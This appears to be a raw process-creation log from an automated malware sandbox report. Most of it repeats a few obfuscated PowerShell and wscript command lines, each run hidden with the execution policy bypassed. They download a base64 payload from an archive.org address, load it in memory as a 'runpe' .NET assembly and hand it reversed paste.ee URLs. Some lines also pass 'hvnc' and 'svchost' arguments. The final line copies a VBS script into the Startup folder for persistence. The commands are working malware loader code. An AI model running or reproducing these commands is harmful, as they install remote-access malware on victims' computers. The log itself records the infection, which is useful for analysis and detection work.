Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
